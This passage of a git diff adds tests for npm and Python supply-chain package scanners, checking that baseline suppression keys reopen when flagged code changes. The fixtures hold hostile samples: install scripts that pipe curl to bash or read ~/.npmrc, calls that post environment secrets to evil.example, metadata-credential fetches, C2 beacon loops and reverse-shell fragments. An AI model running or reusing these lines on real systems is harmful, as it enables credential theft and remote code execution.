blanker+ # cannot mask a template literal that spans lines).+ old = "request(`http://169.254.169.254/x\n)`, {\n headers: {a: 'old'},\n});\n"+ new = "request(`http://169.254.169.254/x\n)`, {\n headers: {a: 'evil'},\n});\n"+ assert snp._finding_key(_host_finding(old)) != snp._finding_key(_host_finding(new))+++def test_cred_env_lifecycle_binds_whole_body():+ # cred-env-in-lifecycle evidence pins the whole script body, so a changed+ # non-token line (echo safe -> curl exfil) reopens even with the token line+ # unchanged.+ def life(body):+ pkg = snp.PackageEntry(+ name = "e",+ version = "1.0.0",+ resolved = "https://registry.npmjs.org/e/-/e-1.0.0.tgz",+ integrity = "sha512-x",+ lockfile_key = "node_modules/e",+ )+ text = json.dumps({"scripts": {"postinstall": body}})+ return [+ f+ for f in snp.scan_package_json(pkg, "package/package.json", text)+ if "cred-env-in-lifecycle" in f.pattern+ ][0]++ safe = life("node -e 'console.log(process.env.NPM_TOKEN)'; echo safe")+ evil = life("node -e 'console.log(process.env.NPM_TOKEN)'; curl -d x https://evil")+ assert "body-sha256:" in safe.evidence+ assert snp._finding_key(safe) != snp._finding_key(evil)+++def _lifecycle_finding(body, frag):+ pkg = snp.PackageEntry(+ name = "e",+ version = "1.0.0",+ resolved = "https://registry.npmjs.org/e/-/e-1.0.0.tgz",+ integrity = "sha512-x",+ lockfile_key = "node_modules/e",+ )+ text = json.dumps({"scripts": {"postinstall": body}})+ return [+ f for f in snp.scan_package_json(pkg, "package/package.json", text) if frag in f.pattern+ ][0]+++def test_lifecycle_fetch_exec_bounds_body_but_reopens():+ # The whole install script is bound by a digest, but the stored evidence is a+ # bounded matched snippet plus that digest, not the full body, so writing the+ # baseline on a multi-KiB install script stays small while a change to any line+ # (even far below the fetch-exec line) reopens the finding.+ pad = "# pad\n" * 5000+ old = "curl https://x.sh | bash\n" + pad + "echo done_old"+ new = "curl https://x.sh | bash\n" + pad + "echo done_evil"+ of = _lifecycle_finding(old, "lifecycle-fetch-exec")+ nf = _lifecycle_finding(new, "lifecycle-fetch-exec")+ assert "body-sha256:" in of.evidence+ assert len(of.evidence) < len(old) # snippet + digest, not the whole body+ assert snp._finding_key(of) != snp._finding_key(nf)+++def test_cred_path_lifecycle_bounds_body_but_reopens():+ # cred-path-in-lifecycle is bounded the same way: a snippet around the matched+ # credential path plus the whole-body digest, so a far-line change reopens+ # without storing the entire script body in the baseline.+ pad = "# pad\n" * 5000+ old = "cat ~/.npmrc\n" + pad + "echo old"+ new = "cat ~/.npmrc\n" + pad + "echo evil"+ of = _lifecycle_finding(old, "cred-path-in-lifecycle")+ nf = _lifecycle_finding(new, "cred-path-in-lifecycle")+ assert "body-sha256:" in of.evidence+ assert len(of.evidence) < len(old)+ assert snp._finding_key(of) != snp._finding_key(nf)+++def test_outbound_host_regex_literal_does_not_close_group_early():+ # A ) inside a JS regex literal must not close the outbound call early; the+ # options object after the regex binds, so a changed header reopens.+ old = "request('http://169.254.169.254', /)/, {\n headers: {a: 'old'},\n});\n"+ new = old.replace("old", "evil")+ assert snp._finding_key(_host_finding(old)) != snp._finding_key(_host_finding(new))+++def test_evidence_overflow_binds_context_and_counts_all_matches():+ # Every match past the display cap is still counted in the overflow digest AND+ # bound by its logical-line context, so changing the payload on an over-cap line+ # reopens (the digest is not just the regex match text, and the iterator is not+ # truncated before reaching it).+ n = snp._MAX_EVIDENCE_MATCHES+ mk = lambda which: "".join(+ f"a{i} = process.env.NPM_TOKEN; tag{i} = {'evil' if i == n + 2 and which else 'safe'}\n"+ for i in range(n + 5)+ )+ e1 = snp._evidence(mk(False), snp._JS_ENV_TOKEN)+ e2 = snp._evidence(mk(True), snp._JS_ENV_TOKEN)+ assert "more) sha256:" in e1+ assert snp._evidence_hash(e1) != snp._evidence_hash(e2)+++def test_evidence_caps_match_count_with_digest_remainder():+ # Past _MAX_EVIDENCE_MATCHES the evidence folds the remaining matches into one+ # digest so a huge/minified file cannot build an unbounded evidence string,+ # while a changed match count past the cap still reopens.+ over = snp._MAX_EVIDENCE_MATCHES + 20+ base = "".join(f"x{i} = process.env.NPM_TOKEN\n" for i in range(over))+ ev = snp._evidence(base, snp._JS_ENV_TOKEN)+ assert "more) sha256:" in ev+ assert ev.count(" | ") <= snp._MAX_EVIDENCE_MATCHES # bounded, not `over` spans+ less = "".join(f"x{i} = process.env.NPM_TOKEN\n" for i in range(over - 1))+ assert snp._evidence_hash(ev) != snp._evidence_hash(snp._evidence(less, snp._JS_ENV_TOKEN))+++def test_evidence_streams_overflow_count_is_exact():+ # The overflow matches are streamed from finditer (not collected into a list+ # before the cap), so the "(+N more)" count must still equal the exact number of+ # matches past the display cap for a large input, and the shown spans stay+ # bounded to the cap.+ extra = 1000+ total = snp._MAX_EVIDENCE_MATCHES + extra+ body = "".join(f"x{i} = process.env.NPM_TOKEN\n" for i in range(total))+ ev = snp._evidence(body, snp._JS_ENV_TOKEN)+ import re as _re++ m = _re.search(r"\(\+(\d+) more\)", ev)+ assert m and int(m.group(1)) == extra # every over-cap match counted+ assert ev.count(" | ") <= snp._MAX_EVIDENCE_MATCHES # display stays bounded+++def _ioc_pkg():+ return snp.PackageEntry(+ name = "evil",+ version = "1.0.0",+ resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",+ integrity = "sha512-x",+ lockfile_key = "node_modules/evil",+ )+++def test_known_ioc_evidence_binds_context_not_bare_needle():+ # A known-ioc-string finding keys on the matched-line context, not the bare+ # constant, so a changed adjacent fetch/exfil body on the same call reopens+ # while the IOC needle stays in place.+ ioc = next(iter(snp.KNOWN_IOC_STRINGS))+ old = f"fetch('http://h/'+'{ioc}', {{body: 'OLD'}})\n"+ new = f"fetch('http://h/'+'{ioc}', {{body: 'EVIL'}})\n"++ def key(text):+ return [+ snp._finding_key(f)+ for f in snp.scan_text_blob(_ioc_pkg(), "package/x.js", text)+ if f.pattern == "known-ioc-string"+ ][0]++ assert key(old) != key(new)+++def test_always_bad_host_evidence_binds_outbound_context():+ # cred-surface-host (always-bad) binds the outbound call context, so altering+ # the exfil body on the same call reopens the key instead of riding the bare+ # host literal.+ host = snp.CRED_HOST_ALWAYS_BAD[0][0]+ old = f"fetch('https://{host}/x', {{body: secretOLD}})\n"+ new = f"fetch('https://{host}/x', {{body: secretEVIL}})\n"++ def key(text):+ return [+ snp._finding_key(f)+ for f in snp.scan_text_blob(_ioc_pkg(), "package/x.js", text)+ if f.pattern == "cred-surface-host (always-bad)"+ ][0]++ assert key(old) != key(new)+++def test_outbound_host_config_reindent_is_stable():+ # A formatter-only reindent of the bound continuation lines must NOT change+ # the key (whitespace is normalized before the logical-line digest).+ tight = "const opts = {\n hostname: '169.254.169.254',\n path: '/x',\n};\nrun(opts);\n"+ loose = (+ "const opts = {\n hostname: '169.254.169.254',\n path: '/x',\n};\nrun(opts);\n"+ )+ assert snp._finding_key(_host_finding(tight)) == snp._finding_key(_host_finding(loose))+++def test_evidence_preserves_intra_string_whitespace():+ # Whitespace OUTSIDE string literals is normalized (reindent-stable), but+ # whitespace INSIDE a literal is preserved, so a changed payload body+ # (body: 'a b' -> 'a b') reopens the key instead of being erased along with+ # indentation.+ a = "request('http://169.254.169.254/x', {\n body: 'a b',\n});\n"+ b = "request('http://169.254.169.254/x', {\n body: 'a b',\n});\n"+ assert snp._finding_key(_host_finding(a)) != snp._finding_key(_host_finding(b))+++def test_outbound_cred_surface_binds_context():+ # The outbound cred-surface host finding records the host WITH its URL path /+ # fetch call, so changing the outbound path or headers reopens the key rather+ # than riding the bare host literal.+ pkg = snp.PackageEntry(+ name = "evil",+ version = "1.0.0",+ resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",+ integrity = "sha512-test",+ lockfile_key = "node_modules/evil",+ )+ old = "fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/old')\n"+ new = (+ "fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/evil', "+ "{headers: steal})\n"+ )+ of = [+ f+ for f in snp.scan_text_blob(pkg, "package/index.js", old)+ if f.pattern == "cred-surface-host (outbound)"+ ][0]+ nf = [+ f+ for f in snp.scan_text_blob(pkg, "package/index.js", new)+ if f.pattern == "cred-surface-host (outbound)"+ ][0]+ assert snp._finding_key(of) != snp._finding_key(nf)+++def test_load_baseline_skips_non_dict_entries(tmp_path):+ # A malformed current-schema baseline (non-dict entries, or a non-object root)+ # must not crash the loader; bad entries are skipped, valid ones still load.+ bl = tmp_path / "bad.json"+ bl.write_text(+ json.dumps(+ {+ "version": snp._BASELINE_SCHEMA_VERSION,+ "entries": ["oops", 123, {"package": "p", "file": "package/a.js", "pattern": "x"}],+ }+ ),+ encoding = "utf-8",+ )+ keys = snp._load_baseline(str(bl))+ assert keys == {("p", "a.js", "x", snp._evidence_hash(""))}+ # A non-object root is rejected with a warning, not a crash.+ arr = tmp_path / "arr.json"+ arr.write_text("[1, 2, 3]", encoding = "utf-8")+ assert snp._load_baseline(str(arr)) == set()++def test_legacy_schema_baseline_is_ignored(tmp_path):# A pre-v2 baseline stored basenames; its keys are ambiguous under# package-relative matching, so a populated legacy file is ignored (fail@@ -418,6 +894,67 @@ def test_legacy_schema_baseline_is_ignored(tmp_path):assert snp._load_baseline(str(bl)) == set()+def test_v2_baseline_migrates_by_recomputing_hash(tmp_path):+ # v2 shares v3's package-relative keying, so its entries migrate (the hash is+ # recomputed from stored evidence) rather than being thrown away, matching the+ # Python loader. An unchanged finding stays suppressed.+ bl = tmp_path / "v2.json"+ evidence = "fetch('http://ok')"+ bl.write_text(+ json.dumps(+ {+ "version": 2,+ "entries": [+ {+ "package": "left-pad",+ "file": "package/dist/index.js",+ "pattern": "obfuscated-blob",+ "severity": snp.HIGH,+ "evidence": evidence,+ }+ ],+ }+ ),+ encoding = "utf-8",+ )+ finding = _finding(+ "[email protected]", "package/dist/index.js", "obfuscated-blob", evidence = evidence+ )+ assert snp._finding_key(finding) in snp._load_baseline(str(bl))+++def test_outbound_cred_surface_host_config_binds_full_context():+ # The host-config branch captures the whole line (path + headers), so changing+ # the outbound headers/body on the same hostname line reopens the key.+ pkg = snp.PackageEntry(+ name = "evil",+ version = "1.0.0",+ resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz",+ integrity = "sha512-test",+ lockfile_key = "node_modules/evil",+ )+ path = "/latest/meta-data/iam/security-credentials/role-name"+ old = (+ "const opts = {hostname: '169.254.169.254', "+ f"path: '{path}', headers: {{a: 'old'}}}};\nrun(opts);\n"+ )+ new = (+ "const opts = {hostname: '169.254.169.254', "+ f"path: '{path}', headers: {{a: 'evil', token: process.env.NPM_TOKEN}}}};\nrun(opts);\n"+ )+ of = [+ f+ for f in snp.scan_text_blob(pkg, "package/index.js", old)+ if f.pattern == "cred-surface-host (outbound)"+ ][0]+ nf = [+ f+ for f in snp.scan_text_blob(pkg, "package/index.js", new)+ if f.pattern == "cred-surface-host (outbound)"+ ][0]+ assert snp._finding_key(of) != snp._finding_key(nf)++def test_committed_baseline_is_empty_and_valid():# Shipped baseline must parse and (by design) suppress nothing: the live corpus is clean.path = REPO_ROOT / "scripts" / "scan_npm_packages_baseline.json"diff --git a/tests/security/test_scan_packages.py b/tests/security/test_scan_packages.pyindex 91331668d6d..48e6da5f660 100644--- a/tests/security/test_scan_packages.py+++ b/tests/security/test_scan_packages.py@@ -322,20 +322,781 @@ def test_proc_self_status_pattern_is_live():assert not sp.RE_ANTI_ANALYSIS.search("if platform.system() == 'Linux': pass")-def _mk(sev, pkg, fname, check):- return sp.Finding(sev, pkg, fname, check, "evidence")+def _mk(+ sev,+ pkg,+ fname,+ check,+ evidence = "evidence",+):+ return sp.Finding(sev, pkg, fname, check, evidence)def test_baseline_key_version_stable_but_path_specific():a = _mk(sp.CRITICAL, "requests", "requests-2.32.5/requests/sessions.py", "X")b = _mk(sp.CRITICAL, "Requests", "requests-3.0.0/requests/sessions.py", "X")- # Same package-relative path across versions -> same key (stable).+ # Same package-relative path + same matched code across versions -> same key.assert sp._finding_key(a) == sp._finding_key(b)# Same basename in a different path -> different key (no over-suppression).c = _mk(sp.CRITICAL, "requests", "requests-2.32.5/requests/vendor/sessions.py", "X")assert sp._finding_key(a) != sp._finding_key(c)+def test_baseline_key_line_shift_stable_but_code_specific():+ # The evidence hash strips ``L<NN>:`` markers, so a benign upstream edit that+ # only shifts line numbers keeps the key stable...+ base = _mk(+ sp.CRITICAL,+ "botocore",+ "botocore/utils.py",+ "Harvests environment variables/secrets AND makes network calls",+ "Env: L417: env = os.environ.copy()\nNetwork: L32: from urllib.request import getproxies",+ )+ shifted = _mk(+ sp.CRITICAL,+ "botocore",+ "botocore/utils.py",+ "Harvests environment variables/secrets AND makes network calls",+ "Env: L612: env = os.environ.copy()\nNetwork: L48: from urllib.request import getproxies",+ )+ assert sp._finding_key(base) == sp._finding_key(shifted)+ # ...but a NEW payload in the same file/check (different matched code) does+ # not inherit the suppression -- this is the supply-chain bypass we close.+ malicious = _mk(+ sp.CRITICAL,+ "botocore",+ "botocore/utils.py",+ "Harvests environment variables/secrets AND makes network calls",+ "Env: L417: env = os.environ.copy()\nNetwork: requests.post('https://evil.example/exfil', data=env)",+ )+ assert sp._finding_key(base) != sp._finding_key(malicious)+++def test_extract_evidence_records_all_matches():+ # The whole point of P1: a match appended after the first few must show up+ # in the evidence, so it changes the key instead of riding the earlier ones.+ src = "import requests\n" + "\n".join(f"requests.get('http://a{i}')" for i in range(6))+ ev = sp._extract_evidence(src, sp.RE_NETWORK)+ assert ev.count("requests.get(") == 6+++def test_baseline_key_reopens_on_appended_match():+ # A reviewed file already trips a check with several matches; a later exfil+ # call appended to the same file/check must reopen the finding.+ base_src = "import requests\n" + "\n".join(f"requests.get('http://a{i}')" for i in range(3))+ payload_src = base_src + "\nrequests.post('https://evil.example/exfil', data=os.environ)"+ base = _mk(sp.CRITICAL, "p", "p/net.py", "net", sp._extract_evidence(base_src, sp.RE_NETWORK))+ payload = _mk(+ sp.CRITICAL, "p", "p/net.py", "net", sp._extract_evidence(payload_src, sp.RE_NETWORK)+ )+ assert sp._finding_key(base) != sp._finding_key(payload)+++def test_baseline_key_inner_line_marker_is_not_stripped():+ # Only the leading L<NN>: marker is dropped; an L<NN>: inside the matched+ # code is part of the code, so changing it must reopen the finding...+ a = _mk(sp.CRITICAL, "p", "p/u.py", "c", "L10: url = 'http://h/L42:/p'")+ b = _mk(sp.CRITICAL, "p", "p/u.py", "c", "L10: url = 'http://h/L7:/p'")+ assert sp._finding_key(a) != sp._finding_key(b)+ # ...while only the leading marker (line number) changing stays stable.+ c = _mk(sp.CRITICAL, "p", "p/u.py", "c", "L55: url = 'http://h/L42:/p'")+ assert sp._finding_key(a) == sp._finding_key(c)+++def test_baseline_key_indentation_is_significant():+ # Moving a flagged line out of a guarded block (dedent) changes executable+ # context, so the same code at a different indent must reopen the finding.+ guarded = _mk(sp.CRITICAL, "p", "p/x.py", "c", "L5: requests.get(url)")+ top_level = _mk(sp.CRITICAL, "p", "p/x.py", "c", "L5: requests.get(url)")+ assert sp._finding_key(guarded) != sp._finding_key(top_level)+++def test_canon_evidence_keeps_bitwise_or_in_a_span():+ # ' | ' only delimits spans when it precedes an L<NN>: marker; a pipe inside+ # matched code (bitwise OR, typing.Union) is code, so changing an operand+ # must reopen the finding instead of deduping to the same key.+ a = _mk(sp.CRITICAL, "p", "p/x.py", "c", "L5: mode = os.O_RDONLY | os.O_CLOEXEC")+ b = _mk(sp.CRITICAL, "p", "p/x.py", "c", "L5: mode = os.O_RDONLY | os.O_EVIL")+ assert sp._finding_key(a) != sp._finding_key(b)+ # The OR survives canonicalization as one span (not split on the pipe).+ assert sp._canon_evidence("L5: a = X | Y") == "a = X | Y"+++def test_extract_evidence_caps_long_line_but_binds_tail():+ # A long (e.g. minified) line is not dumped verbatim: the display is bounded to+ # a prefix, but a sha256 of the full line is appended so a payload past the cut+ # still changes the key instead of being silently clipped.+ marker = "EXFIL_PAST_CAP"+ pad = "# " + " " * 300+ line = "requests.get('http://a') " + pad + marker+ ev = sp._extract_evidence(line + "\n", sp.RE_NETWORK)+ assert marker not in ev # tail past the cap is not shown verbatim+ assert "sha256:" in ev # but it is pinned by a digest+ assert len(ev) < len(line) # bounded, not the whole minified line+ base = sp._extract_evidence("requests.get('http://a') " + pad + "x\n", sp.RE_NETWORK)+ assert sp._evidence_hash(ev) != sp._evidence_hash(base)+++def test_extract_evidence_binds_call_continuation_past_12_lines():+ # A matched call that stays open well beyond the old 12-line continuation cap+ # still binds its later arguments: a changed body on a deep continuation line+ # (here ~22 lines in) must reopen instead of riding the first 12 lines.+ head = "requests.post('http://h',\n"+ middle = "".join(f" opt{i} = ({i}),\n" for i in range(20))+ old = head + middle + " data = {'x': 'old'},\n)\n"+ new = head + middle + " data = {'x': 'evil'},\n)\n"+ eo = sp._extract_evidence(old, sp.RE_NETWORK)+ en = sp._extract_evidence(new, sp.RE_NETWORK)+ assert sp._evidence_hash(eo) != sp._evidence_hash(en)+++def test_logical_line_end_follows_backslash_continuation():+ # A call split with an explicit backslash before the parenthesis must still+ # bind the continuation line, so changing the URL on the next physical line+ # reopens instead of returning at the zero-depth API line.+ old = "requests.post \\\n ('http://old/x', data = 1)\n"+ new = "requests.post \\\n ('http://evil/x', data = 1)\n"+ eo = sp._extract_evidence(old, sp.RE_NETWORK)+ en = sp._extract_evidence(new, sp.RE_NETWORK)+ assert sp._evidence_hash(eo) != sp._evidence_hash(en)+++def test_logical_line_end_blanks_multiline_triple_string():+ # A ) inside a triple-quoted string argument must not close the call early; the+ # data= after the closing triple-quote must still bind so a changed payload+ # reopens (a per-line string blanker cannot mask a multi-line string).+ old = 'requests.post("""http://h\n/path)""", data={"x": "old"})\n'+ new = 'requests.post("""http://h\n/path)""", data={"x": "evil"})\n'+ eo = sp._extract_evidence(old, sp.RE_NETWORK)+ en = sp._extract_evidence(new, sp.RE_NETWORK)+ assert sp._evidence_hash(eo) != sp._evidence_hash(en)+++def test_extract_evidence_binds_call_embedded_in_string():+ # A call whose text lives INSIDE a triple-quoted string (a dropper embedding a+ # setup.py payload) must still bind its argument lines. Blanking the multi-line+ # string must not shrink the span below the legacy single-line view: the union+ # of both views keeps the URL argument bound so a changed payload reopens.+ src = (+ 'PAYLOAD = """\n'+ "urllib.request.urlretrieve(\n"+ ' "http://evil/old.pyz",\n'+ ' "/tmp/x.pyz",\n'+ ")\n"+ '"""\n'+ )+ eo = sp._extract_evidence(src, sp.RE_NETWORK)+ en = sp._extract_evidence(src.replace("old.pyz", "evil2.pyz"), sp.RE_NETWORK)+ assert "L3" in eo # the URL argument line is bound, not just the API line+ assert sp._evidence_hash(eo) != sp._evidence_hash(en)+++def test_extract_evidence_overflow_digest_is_line_shift_stable():+ # The overflow digest canonicalizes (strips L<NN>: markers), so inserting an+ # unrelated line above the overflow region does not change it (line-shift+ # stability), while a real payload change inside the overflow still reopens.+ n = sp._MAX_EVIDENCE_SPANS+ src = "\n".join(f"requests.get('http://a/p{i}')" for i in range(n + 5))+ sha = lambda e: re.search(r"more\) sha256:([0-9a-f]+)", e).group(1)+ e_a = sp._extract_evidence(src, sp.RE_NETWORK)+ assert "more) sha256:" in e_a+ e_shift = sp._extract_evidence("# unrelated\n" + src, sp.RE_NETWORK)+ assert sha(e_a) == sha(e_shift) # a pure line shift does not change the digest+ e_chg = sp._extract_evidence(src.replace(f"a/p{n + 3}'", "a/pEVIL'"), sp.RE_NETWORK)+ assert sha(e_a) != sha(e_chg) # a real change in the overflow region reopens+++def test_extract_evidence_overflow_is_streamed_and_bounded():+ # Past the display cap the evidence streams overflow spans into one digest+ # instead of materializing a rendered span per match, so a file with far more+ # matches than the cap yields a bounded string (at most cap spans plus the+ # "(+N more)" digest line) while N counts every overflow match and a change to+ # an over-cap match still reopens.+ n = sp._MAX_EVIDENCE_SPANS+ src = "\n".join(f"requests.get('http://a/p{i}')" for i in range(n + 500))+ ev = sp._extract_evidence(src, sp.RE_NETWORK)+ assert ev.count(" sha256:") == 1 # only the overflow digest, no per-span digests+ assert "(+500 more)" in ev # every match past the cap is counted+ # bounded: exactly cap rendered spans plus the single "(+N more)" marker+ assert len(ev.split(" | ")) == n + 1+ sha = lambda e: re.search(r"more\) sha256:([0-9a-f]+)", e).group(1)+ chg = sp._extract_evidence(src.replace(f"a/p{n + 200}'", "a/pEVIL'"), sp.RE_NETWORK)+ assert sha(ev) != sha(chg) # an over-cap payload change reopens+++def test_extract_evidence_same_line_close_then_open_binds_call():+ # A continued statement that closes on the same physical line that opens a+ # flagged call, e.g. `]; requests.post(`, nets to <= 0 under a plain bracket+ # count, dropping the call's `(` so the scan would stop at the opener line.+ # Order-aware counting keeps the opener, so the argument lines bind and a+ # changed body on a continuation line reopens.+ old = "x = [a]; requests.post(\n 'http://h/old',\n data=secret,\n)\n"+ new = "x = [a]; requests.post(\n 'http://h/old',\n data=EVIL,\n)\n"+ assert sp._evidence_hash(sp._extract_evidence(old, sp.RE_NETWORK)) != sp._evidence_hash(+ sp._extract_evidence(new, sp.RE_NETWORK)+ )+++def test_extract_evidence_backslash_continued_string_binds_tail():+ # A single-quoted string can continue across lines with a trailing backslash.+ # The `)` inside that continued string on the next line must not be counted as+ # code and close the call early, or a changed argument after it would not+ # reopen. The blanker tracks the continuation so the whole call binds.+ old = "requests.post('http://h\\\n/path)', data='old')\n"+ new = "requests.post('http://h\\\n/path)', data='EVIL')\n"+ assert sp._evidence_hash(sp._extract_evidence(old, sp.RE_NETWORK)) != sp._evidence_hash(+ sp._extract_evidence(new, sp.RE_NETWORK)+ )+++def test_extract_evidence_long_call_tail_past_soft_cap_reopens():+ # A call with more argument lines than the soft cap (_MAX_CALL_LINES) is still+ # followed to its real close under the hard limit, so a changed payload on a+ # continuation line well past the soft cap reopens instead of riding the first+ # _MAX_CALL_LINES lines. A bracket that never closes stays bound to the soft cap.+ mid = "\n".join(f" opt{i}=1," for i in range(sp._MAX_CALL_LINES + 20))+ old = "requests.post(\n" + mid + "\n data='old',\n)\n"+ new = "requests.post(\n" + mid + "\n data='EVIL',\n)\n"+ assert sp._evidence_hash(sp._extract_evidence(old, sp.RE_NETWORK)) != sp._evidence_hash(+ sp._extract_evidence(new, sp.RE_NETWORK)+ )+++def test_extract_evidence_fallback_line_numbers_are_correct():+ # The DOTALL fallback maps match offsets to line numbers via precomputed+ # newline offsets (bisect, not a quadratic content.count per match); guard that+ # the mapping is exact so a cross-line match is recorded at its true line and a+ # changed continuation reopens.+ content = "x = 1\ny = 2\nwhile True:\n time.sleep(60)\n requests.get('http://a/old')\n"+ e1 = sp._extract_evidence(content, sp.RE_C2_POLLING)+ e2 = sp._extract_evidence(content.replace("/old", "/evil"), sp.RE_C2_POLLING)+ assert "L3" in e1 # the while-True loop starts on line 3, not line 1+ assert sp._evidence_hash(e1) != sp._evidence_hash(e2)+++def test_large_js_bundle_pins_whole_content_when_other_finding_fires():+ # A >100 KB JS bundle that also trips the hex-var obfuscation signature binds+ # the whole bundle, so changing payload code elsewhere (obfuscation line+ # unchanged) reopens rather than riding the matched signature line.+ obf = "var _0xabcd = function(){};\n"+ pad = "// filler\n" * 11000 # push the file over the 100 KB large-bundle bar+ fo = sp.check_js_file(obf + pad + "var payload = 'old';\n", "pkg/bundle.js", "pkg")+ fn = sp.check_js_file(obf + pad + "var payload = 'evil';\n", "pkg/bundle.js", "pkg")+ co = [f for f in fo if "hex-var obfuscation" in f.check][0]+ cn = [f for f in fn if "hex-var obfuscation" in f.check][0]+ assert "bundle-sha256:" in co.evidence+ assert sp._evidence_hash(co.evidence) != sp._evidence_hash(cn.evidence)+++def test_pth_catch_all_import_evidence_is_bounded_but_reopens():+ # A large .pth made only of benign-looking imports is bounded in the evidence+ # (prefix plus digest), not dumped in full, yet still reopens when an import+ # line changes because the digest covers every line.+ base = "".join(f"import mod{i}\n" for i in range(200))+ fo = [+ f+ for f in sp.check_pth_file(base + "import secret_old\n", "p/x.pth", "p")+ if "executable import line" in f.check+ ]+ fn = [+ f+ for f in sp.check_pth_file(base + "import secret_evil\n", "p/x.pth", "p")+ if "executable import line" in f.check+ ]+ assert fo and fn+ assert "sha256:" in fo[0].evidence and len(fo[0].evidence) < len(base)+ assert sp._evidence_hash(fo[0].evidence) != sp._evidence_hash(fn[0].evidence)+++def test_extract_evidence_records_all_multiline_matches():+ # The DOTALL fallback must record every distinct cross-line match, so a second+ # long-sleep appended below an already-flagged one reopens the finding.+ one = "foo = time.sleep(\n 600\n)\n"+ two = one + "bar = time.sleep(\n 900\n)\n"+ ev1 = sp._extract_evidence(one, sp.RE_ANTI_ANALYSIS)+ ev2 = sp._extract_evidence(two, sp.RE_ANTI_ANALYSIS)+ assert ev2.count("time.sleep(") == 2 # both matches, not just the first+ assert sp._evidence_hash(ev1) != sp._evidence_hash(ev2)+++def test_multiline_evidence_reopens_on_continuation_change():+ # A DOTALL match records every line it spans, so changing the URL inside an+ # already-flagged C2 loop (a continuation line) reopens the finding...+ old = "while True:\n time.sleep(60)\n requests.get('http://old.example/poll')\n"+ new = "while True:\n time.sleep(60)\n requests.get('http://evil.example/c2')\n"+ fo = _mk(+ sp.CRITICAL,+ "p",+ "p/loop.py",+ "C2 polling/beaconing loop detected",+ sp._extract_evidence(old, sp.RE_C2_POLLING),+ )+ fn = _mk(+ sp.CRITICAL,+ "p",+ "p/loop.py",+ "C2 polling/beaconing loop detected",+ sp._extract_evidence(new, sp.RE_C2_POLLING),+ )+ assert sp._finding_key(fo) != sp._finding_key(fn)+ # ...while a benign line shift of the same loop stays stable.+ shifted = _mk(+ sp.CRITICAL,+ "p",+ "p/loop.py",+ "C2 polling/beaconing loop detected",+ sp._extract_evidence("\n\n" + old, sp.RE_C2_POLLING),+ )+ assert sp._finding_key(fo) == sp._finding_key(shifted)+++def test_extract_evidence_bounds_pathological_multiline_span():+ # A greedy DOTALL span is capped to its head line plus a digest of the rest,+ # so evidence stays bounded while still binding the full match.+ big = "vmware\n" + "x\n" * 50 + "detect\n"+ ev = sp._extract_evidence(big, sp.RE_ANTI_ANALYSIS)+ assert "sha256:" in ev and ev.count("\n") <= 1+++def test_canon_evidence_keeps_duplicate_spans():+ # A second identical matched line in a new code path must change the key, so+ # an appended duplicate payload occurrence is not deduped to the same hash.+ one = " requests.post(url, data=env)"+ base = _mk(sp.CRITICAL, "p", "p/x.py", "c", f"L2: {one}")+ dup = _mk(sp.CRITICAL, "p", "p/x.py", "c", f"L2: {one} | L5: {one}")+ assert sp._finding_key(base) != sp._finding_key(dup)+++def test_canon_evidence_does_not_strip_inner_marker_from_raw_code():+ # Raw .pth evidence has no leading L<NN>: marker; an L<NN>:-looking substring+ # inside the code must be kept, so changing the code before it reopens.+ base = _mk(+ sp.HIGH,+ "p",+ "p/x.pth",+ ".pth has 1 executable import line(s)",+ "import os; note='L7: same_suffix'",+ )+ changed = _mk(+ sp.HIGH,+ "p",+ "p/x.pth",+ ".pth has 1 executable import line(s)",+ "import urllib.request; note='L7: same_suffix'",+ )+ assert sp._finding_key(base) != sp._finding_key(changed)+++def test_capped_multiline_digest_is_line_shift_stable():+ # A span over the cap is digested from markerless code, so a pure line shift+ # of the same span stays stable while a code change still reopens.+ src = (+ "while True:\n"+ + " x = 1\n" * 20+ + " time.sleep(60)\n requests.get('http://old.example/poll')\n"+ )+ e1 = sp._extract_evidence(src, sp.RE_C2_POLLING)+ e2 = sp._extract_evidence("\n\n" + src, sp.RE_C2_POLLING)+ assert "sha256:" in e1 # span exceeded the cap+ assert sp._evidence_hash(e1) == sp._evidence_hash(e2)+ changed = src.replace("http://old.example/poll", "http://evil.example/c2")+ assert sp._evidence_hash(e1) != sp._evidence_hash(+ sp._extract_evidence(changed, sp.RE_C2_POLLING)+ )+++def test_canon_evidence_strips_punctuation_label_marker():+ # A label with punctuation (network+exec:) must still be stripped, so the+ # line number alone does not change the key.+ a = "network+exec: L12: subprocess.run(['id'])"+ b = "network+exec: L99: subprocess.run(['id'])"+ assert sp._evidence_hash(a) == sp._evidence_hash(b)+++def test_extract_evidence_binds_call_continuation_lines():+ # A multi-line network call binds its argument lines, so a changed URL on a+ # continuation line reopens even though the line with the API name is unchanged.+ old = "requests.post(\n 'http://old.example',\n data=env,\n)\n"+ new = "requests.post(\n 'http://evil.example',\n data=env,\n)\n"+ eo = sp._extract_evidence(old, sp.RE_NETWORK)+ en = sp._extract_evidence(new, sp.RE_NETWORK)+ assert "old.example" in eo and "evil.example" in en+ assert sp._evidence_hash(eo) != sp._evidence_hash(en)+++def test_extract_evidence_records_multiline_after_oneline():+ # A one-line C2 match no longer suppresses a later multi-line C2 loop: the+ # appended cross-line construct is recorded too, so it cannot ride the key.+ oneline = "while True: time.sleep(60); requests.get('http://a/poll')\n"+ appended = oneline + "while True:\n time.sleep(30)\n requests.get('http://evil/c2')\n"+ eo = sp._extract_evidence(oneline, sp.RE_C2_POLLING)+ ea = sp._extract_evidence(appended, sp.RE_C2_POLLING)+ assert "evil" in ea+ assert sp._evidence_hash(eo) != sp._evidence_hash(ea)+++def test_extract_evidence_giant_span_binds_full_interior():+ # A giant greedy DOTALL span bridging anchors across the whole file is bound by+ # a digest of its full content (not just the outer anchors), so a cross-line+ # payload inserted into the bridged interior between unchanged outer anchors+ # reopens instead of riding the key. (Binding only head/tail would fail open on+ # an interior insertion.) A pure line shift still stays stable.+ gap = "\n".join(f" x = {i}" for i in range(70))+ base = "import socket\nsock.connect(addr)\n" + gap + "\nos.dup2(fd, 0)\nsubprocess.Popen(cmd)\n"+ # interior insertion of a cross-line payload between the unchanged outer anchors+ injected = base.replace(" x = 35", " x = 35\n sock.connect(evilhost)")+ ea = sp._extract_evidence(base, sp.RE_REVERSE_SHELL)+ ei = sp._extract_evidence(injected, 